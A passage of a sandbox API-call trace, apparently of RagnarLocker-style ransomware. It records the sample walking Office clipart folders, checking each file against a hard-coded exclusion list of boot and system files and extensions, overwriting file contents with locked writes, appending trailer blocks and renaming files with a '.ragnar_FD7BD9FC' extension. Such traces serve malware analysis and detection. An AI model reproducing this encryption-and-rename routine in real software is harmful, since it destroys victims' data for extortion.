Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.348] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00122_.WMF" | out: lpString1="BL00122_.WMF") returned="BL00122_.WMF" [0080.348] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned=".WMF" [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="autorun.inf") returned 1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="boot.ini") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="bootfont.bin") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="bootsect.bak") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="bootmgr") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="bootmgr.efi") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="desktop.ini") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="iconcache.db") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="ntldr") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="ntuser.dat") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.348] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="ntuser.ini") returned -1 [0080.349] lstrcmpiW (lpString1="BL00122_.WMF", lpString2="thumbs.db") returned -1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.349] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0080.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.349] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10146) returned 1 [0080.349] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2799, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.349] GetProcessHeap () returned 0x580000 [0080.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.349] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.351] VirtualAlloc (lpAddress=0x0, dwSize=0x27a2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.351] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.351] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27a2, lpOverlapped=0x0) returned 1 [0080.352] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.352] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.352] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27a2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27a2, lpOverlapped=0x0) returned 1 [0080.352] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.352] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.353] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.353] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.353] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.353] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.353] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.353] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.353] GetProcessHeap () returned 0x580000 [0080.353] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.353] CloseHandle (hObject=0xf4) returned 1 [0080.353] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" [0080.353] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ragnar_FD7BD9FC" [0080.353] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0080.354] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.354] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00130_.WMF" | out: lpString1="BL00130_.WMF") returned="BL00130_.WMF" [0080.354] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned=".WMF" [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="autorun.inf") returned 1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="boot.ini") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="bootfont.bin") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="bootsect.bak") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="bootmgr") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="bootmgr.efi") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="desktop.ini") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="iconcache.db") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="ntldr") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="ntuser.dat") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="ntuser.ini") returned -1 [0080.354] lstrcmpiW (lpString1="BL00130_.WMF", lpString2="thumbs.db") returned -1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.354] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0080.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.355] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1464) returned 1 [0080.355] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.355] GetProcessHeap () returned 0x580000 [0080.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.355] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.357] VirtualAlloc (lpAddress=0x0, dwSize=0x5b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.357] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.357] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.357] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b8, lpOverlapped=0x0) returned 1 [0080.357] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.357] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.357] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b8, lpOverlapped=0x0) returned 1 [0080.357] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.357] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.357] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.357] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.358] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.358] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.358] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.358] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.358] GetProcessHeap () returned 0x580000 [0080.358] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.358] CloseHandle (hObject=0xf4) returned 1 [0080.358] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" [0080.358] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ragnar_FD7BD9FC" [0080.358] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.359] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0080.359] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.359] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00148_.WMF" | out: lpString1="BL00148_.WMF") returned="BL00148_.WMF" [0080.359] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned=".WMF" [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="autorun.inf") returned 1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="boot.ini") returned -1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="bootfont.bin") returned -1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="bootsect.bak") returned -1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="bootmgr") returned -1 [0080.359] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="bootmgr.efi") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="desktop.ini") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="iconcache.db") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="ntldr") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="ntuser.dat") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="ntuser.ini") returned -1 [0080.360] lstrcmpiW (lpString1="BL00148_.WMF", lpString2="thumbs.db") returned -1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.360] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0080.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.360] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1696) returned 1 [0080.360] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x697, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.360] GetProcessHeap () returned 0x580000 [0080.360] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.361] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.362] VirtualAlloc (lpAddress=0x0, dwSize=0x6a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.362] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6a0, lpOverlapped=0x0) returned 1 [0080.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.362] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.362] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6a0, lpOverlapped=0x0) returned 1 [0080.362] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.363] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.363] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.363] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.363] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.363] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.363] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.363] GetProcessHeap () returned 0x580000 [0080.363] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.363] CloseHandle (hObject=0xf4) returned 1 [0080.363] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" [0080.363] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ragnar_FD7BD9FC" [0080.363] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.364] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0080.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.364] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00152_.WMF" | out: lpString1="BL00152_.WMF") returned="BL00152_.WMF" [0080.364] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned=".WMF" [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="autorun.inf") returned 1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="boot.ini") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="bootfont.bin") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="bootsect.bak") returned -1 [0080.364] lstrcmpiW 